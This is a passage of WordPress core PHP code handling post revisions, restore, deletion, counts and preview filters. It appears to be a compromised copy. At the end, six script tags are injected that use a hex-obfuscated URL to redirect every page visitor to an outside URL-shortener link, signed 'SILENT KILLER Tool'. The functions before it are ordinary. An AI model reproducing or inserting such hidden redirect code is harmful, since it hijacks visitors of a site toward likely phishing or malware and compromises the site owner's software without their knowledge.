$_revision = array_values( get_object_vars( $revision ) );
return $_revision;
}
return $revision;
}
/**
* Restores a post to the specified revision.
*
* Can restore a past revision using all fields of the post revision, or only selected fields.
*
* @since 2.6.0
*
* @param int|WP_Post $revision Revision ID or revision object.
* @param array $fields Optional. What fields to restore from. Defaults to all.
* @return int|false|null Null if error, false if no fields to restore, (int) post ID if success.
*/
function wp_restore_post_revision( $revision, $fields = null ) {
$revision = wp_get_post_revision( $revision, ARRAY_A );
if ( ! $revision ) {
return $revision;
}
if ( ! is_array( $fields ) ) {
$fields = array_keys( _wp_post_revision_fields( $revision ) );
}
$update = array();
foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) {
$update[ $field ] = $revision[ $field ];
}
if ( ! $update ) {
return false;
}
$update['ID'] = $revision['post_parent'];
$update = wp_slash( $update ); // Since data is from DB.
$post_id = wp_update_post( $update );
if ( ! $post_id || is_wp_error( $post_id ) ) {
return $post_id;
}
// Update last edit user.
update_post_meta( $post_id, '_edit_last', get_current_user_id() );
/**
* Fires after a post revision has been restored.
*
* @since 2.6.0
*
* @param int $post_id Post ID.
* @param int $revision_id Post revision ID.
*/
do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );
return $post_id;
}
/**
* Restore the revisioned meta values for a post.
*
* @since 6.4.0
*
* @param int $post_id The ID of the post to restore the meta to.
* @param int $revision_id The ID of the revision to restore the meta from.
*/
function wp_restore_post_revision_meta( $post_id, $revision_id ) {
$post_type = get_post_type( $post_id );
if ( ! $post_type ) {
return;
}
// Restore revisioned meta fields.
foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {
// Clear any existing meta.
delete_post_meta( $post_id, $meta_key );
_wp_copy_post_meta( $revision_id, $post_id, $meta_key );
}
}
/**
* Copy post meta for the given key from one post to another.
*
* @since 6.4.0
*
* @param int $source_post_id Post ID to copy meta value(s) from.
* @param int $target_post_id Post ID to copy meta value(s) to.
* @param string $meta_key Meta key to copy.
*/
function _wp_copy_post_meta( $source_post_id, $target_post_id, $meta_key ) {
foreach ( get_post_meta( $source_post_id, $meta_key ) as $meta_value ) {
/**
* We use add_metadata() function vs add_post_meta() here
* to allow for a revision post target OR regular post.
*/
add_metadata( 'post', $target_post_id, $meta_key, wp_slash( $meta_value ) );
}
}
/**
* Determine which post meta fields should be revisioned.
*
* @since 6.4.0
*
* @param string $post_type The post type being revisioned.
* @return array An array of meta keys to be revisioned.
*/
function wp_post_revision_meta_keys( $post_type ) {
$registered_meta = array_merge(
get_registered_meta_keys( 'post' ),
get_registered_meta_keys( 'post', $post_type )
);
$wp_revisioned_meta_keys = array();
foreach ( $registered_meta as $name => $args ) {
if ( $args['revisions_enabled'] ) {
$wp_revisioned_meta_keys[ $name ] = true;
}
}
$wp_revisioned_meta_keys = array_keys( $wp_revisioned_meta_keys );
/**
* Filter the list of post meta keys to be revisioned.
*
* @since 6.4.0
*
* @param array $keys An array of meta fields to be revisioned.
* @param string $post_type The post type being revisioned.
*/
return apply_filters( 'wp_post_revision_meta_keys', $wp_revisioned_meta_keys, $post_type );
}
/**
* Check whether revisioned post meta fields have changed.
*
* @since 6.4.0
*
* @param bool $post_has_changed Whether the post has changed.
* @param WP_Post $last_revision The last revision post object.
* @param WP_Post $post The post object.
* @return bool Whether the post has changed.
*/
function wp_check_revisioned_meta_fields_have_changed( $post_has_changed, WP_Post $last_revision, WP_Post $post ) {
foreach ( wp_post_revision_meta_keys( $post->post_type ) as $meta_key ) {
if ( get_post_meta( $post->ID, $meta_key ) !== get_post_meta( $last_revision->ID, $meta_key ) ) {
$post_has_changed = true;
break;
}
}
return $post_has_changed;
}
/**
* Deletes a revision.
*
* Deletes the row from the posts table corresponding to the specified revision.
*
* @since 2.6.0
*
* @param int|WP_Post $revision Revision ID or revision object.
* @return WP_Post|false|null Null or false if error, deleted post object if success.
*/
function wp_delete_post_revision( $revision ) {
$revision = wp_get_post_revision( $revision );
if ( ! $revision ) {
return $revision;
}
$delete = wp_delete_post( $revision->ID );
if ( $delete ) {
/**
* Fires once a post revision has been deleted.
*
* @since 2.6.0
*
* @param int $revision_id Post revision ID.
* @param WP_Post $revision Post revision object.
*/
do_action( 'wp_delete_post_revision', $revision->ID, $revision );
}
return $delete;
}
/**
* Returns all revisions of specified post.
*
* @since 2.6.0
*
* @see get_children()
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
* @param array|null $args Optional. Arguments for retrieving post revisions. Default null.
* @return WP_Post[]|int[] Array of revision objects or IDs, or an empty array if none.
*/
function wp_get_post_revisions( $post = 0, $args = null ) {
$post = get_post( $post );
if ( ! $post || empty( $post->ID ) ) {
return array();
}
$defaults = array(
'order' => 'DESC',
'orderby' => 'date ID',
'check_enabled' => true,
);
$args = wp_parse_args( $args, $defaults );
if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) {
return array();
}
$args = array_merge(
$args,
array(
'post_parent' => $post->ID,
'post_type' => 'revision',
'post_status' => 'inherit',
)
);
$revisions = get_children( $args );
if ( ! $revisions ) {
return array();
}
return $revisions;
}
/**
* Returns the latest revision ID and count of revisions for a post.
*
* @since 6.1.0
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
* @return array|WP_Error {
* Returns associative array with latest revision ID and total count,
* or a WP_Error if the post does not exist or revisions are not enabled.
*
* @type int $latest_id The latest revision post ID or 0 if no revisions exist.
* @type int $count The total count of revisions for the given post.
* }
*/
function wp_get_latest_revision_id_and_total_count( $post = 0 ) {
$post = get_post( $post );
if ( ! $post ) {
return new WP_Error( 'invalid_post', __( 'Invalid post.' ) );
}
if ( ! wp_revisions_enabled( $post ) ) {
return new WP_Error( 'revisions_not_enabled', __( 'Revisions not enabled.' ) );
}
$args = array(
'post_parent' => $post->ID,
'fields' => 'ids',
'post_type' => 'revision',
'post_status' => 'inherit',
'order' => 'DESC',
'orderby' => 'date ID',
'posts_per_page' => 1,
'ignore_sticky_posts' => true,
);
$revision_query = new WP_Query();
$revisions = $revision_query->query( $args );
if ( ! $revisions ) {
return array(
'latest_id' => 0,
'count' => 0,
);
}
return array(
'latest_id' => $revisions[0],
'count' => $revision_query->found_posts,
);
}
/**
* Returns the url for viewing and potentially restoring revisions of a given post.
*
* @since 5.9.0
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
* @return string|null The URL for editing revisions on the given post, otherwise null.
*/
function wp_get_post_revisions_url( $post = 0 ) {
$post = get_post( $post );
if ( ! $post instanceof WP_Post ) {
return null;
}
// If the post is a revision, return early.
if ( 'revision' === $post->post_type ) {
return get_edit_post_link( $post );
}
if ( ! wp_revisions_enabled( $post ) ) {
return null;
}
$revisions = wp_get_latest_revision_id_and_total_count( $post->ID );
if ( is_wp_error( $revisions ) || 0 === $revisions['count'] ) {
return null;
}
return get_edit_post_link( $revisions['latest_id'] );
}
/**
* Determines whether revisions are enabled for a given post.
*
* @since 3.6.0
*
* @param WP_Post $post The post object.
* @return bool True if number of revisions to keep isn't zero, false otherwise.
*/
function wp_revisions_enabled( $post ) {
return wp_revisions_to_keep( $post ) !== 0;
}
/**
* Determines how many revisions to retain for a given post.
*
* By default, an infinite number of revisions are kept.
*
* The constant WP_POST_REVISIONS can be set in wp-config to specify the limit
* of revisions to keep.
*
* @since 3.6.0
*
* @param WP_Post $post The post object.
* @return int The number of revisions to keep.
*/
function wp_revisions_to_keep( $post ) {
$num = WP_POST_REVISIONS;
if ( true === $num ) {
$num = -1;
} else {
$num = (int) $num;
}
if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
$num = 0;
}
/**
* Filters the number of revisions to save for the given post.
*
* Overrides the value of WP_POST_REVISIONS.
*
* @since 3.6.0
*
* @param int $num Number of revisions to store.
* @param WP_Post $post Post object.
*/
$num = apply_filters( 'wp_revisions_to_keep', $num, $post );
/**
* Filters the number of revisions to save for the given post by its post type.
*
* Overrides both the value of WP_POST_REVISIONS and the {@see 'wp_revisions_to_keep'} filter.
*
* The dynamic portion of the hook name, `$post->post_type`, refers to
* the post type slug.
*
* Possible hook names include:
*
* - `wp_post_revisions_to_keep`
* - `wp_page_revisions_to_keep`
*
* @since 5.8.0
*
* @param int $num Number of revisions to store.
* @param WP_Post $post Post object.
*/
$num = apply_filters( "wp_{$post->post_type}_revisions_to_keep", $num, $post );
return (int) $num;
}
/**
* Sets up the post object for preview based on the post autosave.
*
* @since 2.7.0
* @access private
*
* @param WP_Post $post
* @return WP_Post|false
*/
function _set_preview( $post ) {
if ( ! is_object( $post ) ) {
return $post;
}
$preview = wp_get_post_autosave( $post->ID );
if ( is_object( $preview ) ) {
$preview = sanitize_post( $preview );
$post->post_content = $preview->post_content;
$post->post_title = $preview->post_title;
$post->post_excerpt = $preview->post_excerpt;
}
add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 );
add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 );
add_filter( 'get_post_metadata', '_wp_preview_meta_filter', 10, 4 );
return $post;
}
/**
* Filters the latest content for preview from the post autosave.
*
* @since 2.7.0
* @access private
*/
function _show_post_preview() {
if ( isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) {
$id = (int) $_GET['preview_id'];
if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) {
wp_die( __( 'Sorry, you are not allowed to preview drafts.' ), 403 );
}
add_filter( 'the_preview', '_set_preview' );
}
}
/**
* Filters terms lookup to set the post format.
*
* @since 3.6.0
* @access private
*
* @param array $terms
* @param int $post_id
* @param string $taxonomy
* @return array
*/
function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) {
$post = get_post();
if ( ! $post ) {
return $terms;
}
if ( empty( $_REQUEST['post_format'] ) || $post->ID !== $post_id
|| 'post_format' !== $taxonomy || 'revision' === $post->post_type
) {
return $terms;
}
if ( 'standard' === $_REQUEST['post_format'] ) {
$terms = array();
} else {
$term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' );
if ( $term ) {
$terms = array( $term ); // Can only have one post format.
}
}
return $terms;
}
/**
* Filters post thumbnail lookup to set the post thumbnail.
*
* @since 4.6.0
* @access private
*
* @param null|array|string $value The value to return - a single metadata value, or an array of values.
* @param int $post_id Post ID.
* @param string $meta_key Meta key.
* @return null|array The default return value or the post thumbnail meta array.
*/
function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) {
$post = get_post();
if ( ! $post ) {
return $value;
}
if ( empty( $_REQUEST['_thumbnail_id'] ) || empty( $_REQUEST['preview_id'] )
|| $post->ID !== $post_id || $post_id !== (int) $_REQUEST['preview_id']
|| '_thumbnail_id' !== $meta_key || 'revision' === $post->post_type
) {
return $value;
}
$thumbnail_id = (int) $_REQUEST['_thumbnail_id'];
if ( $thumbnail_id <= 0 ) {
return '';
}
return (string) $thumbnail_id;
}
/**
* Gets the post revision version.
*
* @since 3.6.0
* @access private
*
* @param WP_Post $revision
* @return int|false
*/
function _wp_get_post_revision_version( $revision ) {
if ( is_object( $revision ) ) {
$revision = get_object_vars( $revision );
} elseif ( ! is_array( $revision ) ) {
return false;
}
if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) {
return (int) $matches[1];
}
return 0;
}
/**
* Upgrades the revisions author, adds the current post as a revision and sets the revisions version to 1.
*
* @since 3.6.0
* @access private
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param WP_Post $post Post object.
* @param array $revisions Current revisions of the post.
* @return bool true if the revisions were upgraded, false if problems.
*/
function _wp_upgrade_revisions_of_post( $post, $revisions ) {
global $wpdb;
// Add post option exclusively.
$lock = "revision-upgrade-{$post->ID}";
$now = time();
$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'off') /* LOCK */", $lock, $now ) );
if ( ! $result ) {
// If we couldn't get a lock, see how old the previous lock is.
$locked = get_option( $lock );
if ( ! $locked ) {
/*
* Can't write to the lock, and can't read the lock.
* Something broken has happened.
*/
return false;
}
if ( $locked > $now - HOUR_IN_SECONDS ) {
// Lock is not too old: some other process may be upgrading this post. Bail.
return false;
}
// Lock is too old - update it (below) and continue.
}
// If we could get a lock, re-"add" the option to fire all the correct filters.
update_option( $lock, $now );
reset( $revisions );
$add_last = true;
do {
$this_revision = current( $revisions );
$prev_revision = next( $revisions );
$this_revision_version = _wp_get_post_revision_version( $this_revision );
// Something terrible happened.
if ( false === $this_revision_version ) {
continue;
}
/*
* 1 is the latest revision version, so we're already up to date.
* No need to add a copy of the post as latest revision.
*/
if ( 0 < $this_revision_version ) {
$add_last = false;
continue;
}
// Always update the revision version.
$update = array(
'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ),
);
/*
* If this revision is the oldest revision of the post, i.e. no $prev_revision,
* the correct post_author is probably $post->post_author, but that's only a good guess.
* Update the revision version only and Leave the author as-is.
*/
if ( $prev_revision ) {
$prev_revision_version = _wp_get_post_revision_version( $prev_revision );
// If the previous revision is already up to date, it no longer has the information we need :(
if ( $prev_revision_version < 1 ) {
$update['post_author'] = $prev_revision->post_author;
}
}
// Upgrade this revision.
$result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) );
if ( $result ) {
wp_cache_delete( $this_revision->ID, 'posts' );
}
} while ( $prev_revision );
delete_option( $lock );
// Add a copy of the post as latest revision.
if ( $add_last ) {
wp_save_post_revision( $post->ID );
}
return true;
}
/**
* Filters preview post meta retrieval to get values from the autosave.
*
* Filters revisioned meta keys only.
*
* @since 6.4.0
*
* @param mixed $value Meta value to filter.
* @param int $object_id Object ID.
* @param string $meta_key Meta key to filter a value for.
* @param bool $single Whether to return a single value.
* @return mixed Original meta value if the meta key isn't revisioned, the object doesn't exist,
* the post type is a revision or the post ID doesn't match the object ID.
* Otherwise, the revisioned meta value is returned for the preview.
*/
function _wp_preview_meta_filter( $value, $object_id, $meta_key, $single ) {
$post = get_post();
if ( empty( $post )
|| $post->ID !== $object_id
|| ! in_array( $meta_key, wp_post_revision_meta_keys( $post->post_type ), true )
|| 'revision' === $post->post_type
) {
return $value;
}
$preview = wp_get_post_autosave( $post->ID );
if ( false === $preview ) {
return $value;
}
return get_post_meta( $preview->ID, $meta_key, $single );
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
SILENT KILLER Tool